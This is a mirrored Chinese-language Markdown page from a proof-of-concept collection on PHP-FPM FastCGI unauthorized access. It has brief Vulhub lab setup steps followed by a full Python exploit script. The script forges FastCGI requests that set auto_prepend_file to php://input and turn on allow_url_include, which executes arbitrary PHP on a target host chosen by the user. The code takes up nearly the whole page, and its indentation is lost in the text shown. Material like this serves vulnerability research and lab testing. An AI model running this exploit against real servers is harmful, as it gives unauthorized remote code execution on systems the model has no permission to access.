mirror of
https://github.com/Threekiii/Awesome-POC.git
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280 lines
8.8 KiB
Markdown
280 lines
8.8 KiB
Markdown
# PHP-FPM Fastcgi 未授权访问漏洞
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## 漏洞描述
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参考阅读：
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- https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
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## 环境搭建
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Vulhub 编译及运行测试环境：
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```
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docker-compose build
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docker-compose up -d
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```
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访问 `http://your-ip:9000/`
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## 漏洞复现
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任意代码执行 exp：
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```python
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import socket
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import random
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import argparse
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import sys
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from io import BytesIO
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# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
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PY2 = True if sys.version_info.major == 2 else False
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def bchr(i):
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if PY2:
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return force_bytes(chr(i))
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else:
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return bytes([i])
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def bord(c):
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if isinstance(c, int):
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return c
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else:
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return ord(c)
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def force_bytes(s):
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if isinstance(s, bytes):
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return s
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else:
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return s.encode('utf-8', 'strict')
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def force_text(s):
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if issubclass(type(s), str):
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return s
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if isinstance(s, bytes):
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s = str(s, 'utf-8', 'strict')
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else:
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s = str(s)
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return s
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class FastCGIClient:
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"""A Fast-CGI Client for Python"""
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# private
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__FCGI_VERSION = 1
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__FCGI_ROLE_RESPONDER = 1
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__FCGI_ROLE_AUTHORIZER = 2
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__FCGI_ROLE_FILTER = 3
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__FCGI_TYPE_BEGIN = 1
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__FCGI_TYPE_ABORT = 2
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__FCGI_TYPE_END = 3
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__FCGI_TYPE_PARAMS = 4
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__FCGI_TYPE_STDIN = 5
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__FCGI_TYPE_STDOUT = 6
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__FCGI_TYPE_STDERR = 7
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__FCGI_TYPE_DATA = 8
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__FCGI_TYPE_GETVALUES = 9
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__FCGI_TYPE_GETVALUES_RESULT = 10
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__FCGI_TYPE_UNKOWNTYPE = 11
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__FCGI_HEADER_SIZE = 8
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# request state
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FCGI_STATE_SEND = 1
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FCGI_STATE_ERROR = 2
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FCGI_STATE_SUCCESS = 3
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def __init__(self, host, port, timeout, keepalive):
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self.host = host
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self.port = port
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self.timeout = timeout
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if keepalive:
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self.keepalive = 1
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else:
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self.keepalive = 0
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self.sock = None
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self.requests = dict()
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def __connect(self):
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self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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self.sock.settimeout(self.timeout)
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self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
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# if self.keepalive:
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# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
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# else:
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# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
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try:
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self.sock.connect((self.host, int(self.port)))
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except socket.error as msg:
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self.sock.close()
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self.sock = None
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print(repr(msg))
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return False
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return True
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def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
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length = len(content)
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buf = bchr(FastCGIClient.__FCGI_VERSION) \
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+ bchr(fcgi_type) \
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+ bchr((requestid >> 8) & 0xFF) \
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+ bchr(requestid & 0xFF) \
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+ bchr((length >> 8) & 0xFF) \
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+ bchr(length & 0xFF) \
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+ bchr(0) \
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+ bchr(0) \
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+ content
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return buf
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def __encodeNameValueParams(self, name, value):
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nLen = len(name)
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vLen = len(value)
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record = b''
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if nLen < 128:
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record += bchr(nLen)
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else:
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record += bchr((nLen >> 24) | 0x80) \
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+ bchr((nLen >> 16) & 0xFF) \
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+ bchr((nLen >> 8) & 0xFF) \
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+ bchr(nLen & 0xFF)
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if vLen < 128:
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record += bchr(vLen)
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else:
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record += bchr((vLen >> 24) | 0x80) \
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+ bchr((vLen >> 16) & 0xFF) \
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+ bchr((vLen >> 8) & 0xFF) \
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+ bchr(vLen & 0xFF)
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return record + name + value
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def __decodeFastCGIHeader(self, stream):
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header = dict()
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header['version'] = bord(stream[0])
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header['type'] = bord(stream[1])
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header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
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header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
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header['paddingLength'] = bord(stream[6])
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header['reserved'] = bord(stream[7])
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return header
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def __decodeFastCGIRecord(self, buffer):
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header = buffer.read(int(self.__FCGI_HEADER_SIZE))
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if not header:
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return False
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else:
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record = self.__decodeFastCGIHeader(header)
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record['content'] = b''
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if 'contentLength' in record.keys():
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contentLength = int(record['contentLength'])
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record['content'] += buffer.read(contentLength)
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if 'paddingLength' in record.keys():
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skiped = buffer.read(int(record['paddingLength']))
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return record
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def request(self, nameValuePairs={}, post=''):
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if not self.__connect():
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print('connect failure! please check your fasctcgi-server !!')
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return
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requestId = random.randint(1, (1 << 16) - 1)
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self.requests[requestId] = dict()
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request = b""
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beginFCGIRecordContent = bchr(0) \
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+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
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+ bchr(self.keepalive) \
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+ bchr(0) * 5
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request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
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beginFCGIRecordContent, requestId)
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paramsRecord = b''
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if nameValuePairs:
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for (name, value) in nameValuePairs.items():
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name = force_bytes(name)
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value = force_bytes(value)
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paramsRecord += self.__encodeNameValueParams(name, value)
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if paramsRecord:
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request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
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request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
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if post:
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request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
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request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
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self.sock.send(request)
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self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
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self.requests[requestId]['response'] = b''
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return self.__waitForResponse(requestId)
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def __waitForResponse(self, requestId):
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data = b''
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while True:
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buf = self.sock.recv(512)
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if not len(buf):
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break
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data += buf
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data = BytesIO(data)
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while True:
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response = self.__decodeFastCGIRecord(data)
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if not response:
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break
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if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
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or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
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if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
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self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
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if requestId == int(response['requestId']):
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self.requests[requestId]['response'] += response['content']
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if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
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self.requests[requestId]
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return self.requests[requestId]['response']
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def __repr__(self):
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return "fastcgi connect host:{} port:{}".format(self.host, self.port)
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if __name__ == '__main__':
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parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
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parser.add_argument('host', help='Target host, such as 127.0.0.1')
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parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
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parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
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parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
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args = parser.parse_args()
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client = FastCGIClient(args.host, args.port, 3, 0)
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params = dict()
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documentRoot = "/"
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uri = args.file
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content = args.code
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params = {
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'GATEWAY_INTERFACE': 'FastCGI/1.0',
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'REQUEST_METHOD': 'POST',
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'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
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'SCRIPT_NAME': uri,
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'QUERY_STRING': '',
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'REQUEST_URI': uri,
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'DOCUMENT_ROOT': documentRoot,
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'SERVER_SOFTWARE': 'php/fcgiclient',
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'REMOTE_ADDR': '127.0.0.1',
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'REMOTE_PORT': '9985',
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'SERVER_ADDR': '127.0.0.1',
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'SERVER_PORT': '80',
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'SERVER_NAME': "localhost",
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'SERVER_PROTOCOL': 'HTTP/1.1',
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'CONTENT_TYPE': 'application/text',
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'CONTENT_LENGTH': "%d" % len(content),
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'PHP_VALUE': 'auto_prepend_file = php://input',
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'PHP_ADMIN_VALUE': 'allow_url_include = On'
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}
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response = client.request(params, content)
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print(force_text(response))
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```
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